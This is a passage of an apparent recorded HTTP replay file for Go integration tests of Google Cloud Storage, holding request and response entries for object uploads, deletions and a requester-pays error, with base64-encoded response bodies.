tpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkyMDI1MTI2My9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTIwMjUxMjYzIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNQK1NnT0R4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkyMDI1MTI2My9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MjAyNTEyNjMiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDUCtTZ09EeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU5MjAyNTEyNjMvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTIwMjUxMjYzIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNQK1NnT0R4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkyMDI1MTI2My91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MjAyNTEyNjMiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDUCtTZ09EeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6Im1uRzdUQT09IiwiZXRhZyI6IkNQK1NnT0R4L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "7e6d2f97bd881584", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo?alt=json\u0026prettyPrint=false\u0026userProject=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:20 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UohQH2nTuRg_FtGhlfr9zC26C6lKFA-aZTf4GbiV5kWZCJ9E4YLHfIUKLpCLIgEfX9TAvi4oPNWfEBpbY-orlescLxrxYcB1U5fLmzzHQR2R0teR-s" - ] - }, - "Body": "" - } - }, - { - "ID": "48e189abff98ea93", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJuYW1lIjoiZm9vIn0K", - "aGVsbG8=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3112" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:21 GMT" - ], - "Etag": [ - "CM3Aq+Dx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uq_NscG9s3iq-8NZq8vQhzdc9FJMaAfq_0GborrX84b8gG2zpbUNtEVnrjFjLyOXqBeJwthPgPUPcsGbIcD597LaPlxt-VNaetM2BLtMtYry8pPeQ8" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkyMDk2MTYxMyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2ZvbyIsIm5hbWUiOiJmb28iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkyMDk2MTYxMyIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNToyMC45NjFaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6MjAuOTYxWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjIwLjk2MVoiLCJzaXplIjoiNSIsIm1kNUhhc2giOiJYVUZBS3J4TEtuYTVjWjJSRUJmRmtnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vP2dlbmVyYXRpb249MTU1NjgzNTkyMDk2MTYxMyZhbHQ9bWVkaWEiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkyMDk2MTYxMy9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTIwOTYxNjEzIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNNM0FxK0R4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkyMDk2MTYxMy9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MjA5NjE2MTMiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDTTNBcStEeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU5MjA5NjE2MTMvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTIwOTYxNjEzIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNNM0FxK0R4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTkyMDk2MTYxMy91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MjA5NjE2MTMiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDTTNBcStEeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6Im1uRzdUQT09IiwiZXRhZyI6IkNNM0FxK0R4L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "02d6922c26c06cbd", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "12243" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:21 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:21 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrmjSJHhErkbzi8feJ_-8XOMqsIzGrEe6frQzWXQ7dPl0D8MW1mMHClKdwb2zBOTvpx7mXQWy2STZYSqx2o7O1Tr2DB1RZfwCZ3xp1jgw3NCICi7Xw" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlcXVpcmVkIiwibWVzc2FnZSI6IkJ1Y2tldCBpcyByZXF1ZXN0ZXIgcGF5cyBidWNrZXQgYnV0IG5vIHVzZXIgcHJvamVjdCBwcm92aWRlZC4iLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX01JU1NJTkc6IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5EZWxldGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZU9iamVjdC5qYXZhOjg4KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuRGVsZXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVPYmplY3QuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5kZWxldGUoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjExMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQnVja2V0IGlzIFJlcXVlc3RlciBQYXlzIGJ1Y2tldCBidXQgbm8gYmlsbGluZyBwcm9qZWN0IGlkIHByb3ZpZGVkIGZvciBub24tb3duZXIuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPVJFUVVJUkVELCBjYXRlZ29yeT1VU0VSX0VSUk9SLCBjYXVzZT1udWxsLCBkZWJ1Z0luZm89Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuRGVsZXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVPYmplY3QuamF2YTo4OClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkRlbGV0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlT2JqZWN0LmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuZGVsZXRlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qY